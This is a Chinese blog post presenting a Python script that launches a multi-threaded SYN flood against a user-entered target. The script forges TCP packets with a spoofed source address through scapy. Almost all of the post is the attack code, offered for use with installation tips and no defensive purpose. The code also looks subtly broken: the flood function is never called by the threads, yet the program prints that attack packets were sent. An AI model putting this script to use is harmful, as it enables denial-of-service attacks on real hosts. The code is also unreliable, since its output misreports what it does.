Python实现SYN多线程泛洪攻击

Python的threading库是自带的,所以不需要下载,scapy安装详见我的文章Python实施SYN泛洪攻击。以下是代码:

#coding: utf8

print("Welcome to use SYN Flood Attack Project.\n\
Author:Leopold Fu, Qinchuan Union of China.\n")
print("Initializing...\n")
from scapy.all import *
from threading import Thread,Lock,activeCount

src = "10.1.1.2"

class Loop(Thread):
    def __init__(self,tgt):
        Thread.__init__(self)
        self.tgt = tgt

    def synFlood(self):
        global src
        for sport in range(1024, 65535):
            IPlayer = IP(src=src, dst=self.tgt)
            TCPlayer = TCP(sport=sport, dport=513)
            pkt = IPlayer / TCPlayer
            send(pkt)

class Main(Thread):
    def __init__(self, tgt, thread):
        Thread.__init__(self)
        self.tgt = tgt
        self.thread = thread

    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.tgt).start()
                total = total + 1
                print('Thread: %s ,Send attack package %s times...' % (str(self.thread),(str(total))) + "\n")

t = int(input("You're Python3.\nInput your Thread:"))

try:
    ip = raw_input("Your target:")
except:
    ip = input("Your target:")

i = 0

while True:
    i = i+1
    Main(tgt=ip,thread=i).start()
    t = t-1
    if t==0:
        break

代码运行后会显示Initializing...表示初始化中,如果报错No Model Named "scapy",ModelNotFoundError之类的错误(不同版本报错不一样),就说明scapy没有安装,按照我以前的文章解决就行。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值